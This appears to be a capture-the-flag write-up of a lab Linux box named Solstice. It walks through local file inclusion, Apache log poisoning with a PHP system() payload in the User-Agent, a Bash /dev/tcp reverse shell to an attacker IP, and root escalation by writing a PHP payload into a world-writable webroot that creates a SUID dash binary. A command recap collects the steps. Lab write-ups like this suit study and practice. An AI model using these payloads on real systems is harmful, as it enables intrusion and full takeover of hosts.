Solstice | Linux
Difficulty: Medium
Tags: LFI, log poisoning, reverse shell, privilege escalation, SUID abuse
Tools Used: Nmap, curl, Netcat, Python, pspy, Bash
This one’s old school in the best way. Solstice walks you through the full anatomy of a log poisoning attack — from LFI discovery to PHP payload injection, to pivoting from a poisoned Apache log into a reverse shell, and finally abusing a locally hosted PHP server to escalate to root. No guesswork, no fancy CVEs — just methodical exploitation and a reminder that writable webroots with SUID are a gift from the misconfig gods.
Initial Enumeration
We kicked things off with a full port scan. Always go full-send when you don’t know what you're looking at.
nmap -p- -sV --open 192.168.245.72
The scan turned up several juicy ports:
21, 2121, 62524 → FTP (pyftpdlib, FreeFloat)
22 → SSH
25 → Exim SMTP
80 → Apache 2.4.38
3128 → Squid proxy
8593, 54787 → PHP CLI web servers
A mix of classics (FTP, Apache, SSH) and some weird ones (PHP CLI ports, high FTP alt). You don’t see those every day.
FTP Recon: Port 2121
ftp 192.168.245.72 2121
Anonymous login was allowed.
But /pub
was empty and didn’t yield anything useful. A good reminder: just because you get in, doesn’t mean it’s interesting.
We pivoted quickly to web recon.
Web Recon: Port 80 and 8593
Port 80 served the default Apache placeholder — but there was a reference to phpIPAM, a common open-source IP address management tool.
But real traction came on port 8593 — a custom PHP interface that felt fragile.
We poked at a parameter in this endpoint:
/index.php?book=list
Time to throw some traversal payloads.
Local File Inclusion Confirmed
/index.php?book=../../../../../../../../etc/passwd
Boom. Clean /etc/passwd
dump.
We had full LFI and it was deep — not sandboxed.
Found user miguel
.
Then we tested for source exposure:
/index.php?book=../../../../../../../../var/www/html/index.php
And it worked. This meant we weren’t just reading files — we could probably poison something and get it executed. Next stop: logs.
Log Poisoning Setup
Accessed Apache logs:
/index.php?book=../../../../../../../../var/log/apache2/access.log
Confirmed we could read our own User-Agent payloads.
💡 What is log poisoning?
It’s a technique where you inject PHP code into web server logs (commonly the access log), then use LFI to execute it. It’s sneaky, reliable, and powerful — especially when there's no upload functionality.
Injected this into a request header:
User-Agent: <?php system($_GET['cmd']); ?>
Then called:
/index.php?book=...access.log&cmd=id
Result:
uid=33(www-data) gid=33(www-data)
Execution achieved. Time to pull a shell.
Reverse Shell via Log Poisoning
We used a standard Bash TCP one-liner:
bash -c 'bash -i >& /dev/tcp/192.168.45.165/6660 0>&1'
URL-encoded it:
/index.php?book=...access.log&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.165%2F6660%200%3E%261%27
Started a listener:
nc -nvlp 6660
Shell landed as www-data
.
Immediately upgraded with:
python -c 'import pty; pty.spawn("/bin/bash")'
Now we start digging.
Post-Exploit Enumeration
Checked network services:
netstat -tunlp
Found something strange:
127.0.0.1:57
Internal service? We peeked at the process list:
ps aux | grep php
Turns out it was this:
php -S 127.0.0.1:57 -t /var/tmp/sv/
A dev server running out of /var/tmp/sv/
. That’s weird, that’s juicy.
Privilege Escalation: Writable Webroot + SUID
Checked /var/tmp/sv/
:
Owner: root
World-writable
Contains
index.php
SUID bit set on a few files
Game on.
Injected a simple webshell into index.php
:
<?php
system("cp /bin/dash /var/tmp/dash; chmod 4755 /var/tmp/dash;");
?>
Then accessed the PHP service locally to trigger the payload (via curl or browser).
This left us with a SUID root shell waiting:
/var/tmp/dash -p
Root shell.
Flags Captured
cat /home/miguel/proof.txt
cat /root/root.txt
Mission complete.
Summary / Review
Solstice was surgical. Every step built on the last — LFI led to log poisoning, which opened RCE, which chained into a reverse shell, and ultimately into a root shell thanks to a writable SUID webroot.
This box hammers home a few key lessons:
Mindset Shift: LFI isn’t just for reading /etc/passwd
. It’s a jumping-off point. If you can read it, you might be able to execute it.
Recon Matters: Internal ports like 127.0.0.1:57
won’t show up on basic scans. Check netstat
, check ps
, look local.
SUID + world-writable is rare — but when you find it, it's often game over.
Old tricks still work. Log poisoning isn’t flashy, but it’s real. And it’s lethal.
Command Recap
nmap -p- -sV --open 192.168.245.72
ftp 192.168.245.72 2121
curl -A "<?php system(\$_GET['cmd']); ?>" http://$IP/index.php?book=...access.log
nc -nvlp 6660
python -c 'import pty; pty.spawn("/bin/bash")'
netstat -tunlp
ps aux | grep php
echo "<?php system('cp /bin/dash /var/tmp/dash; chmod 4755 /var/tmp/dash;'); ?>" > /var/tmp/sv/index.php
/var/tmp/dash -p
Final Thoughts
Classic misconfigs, methodical pivoting, surgical execution.
Another one rooted. On to the next.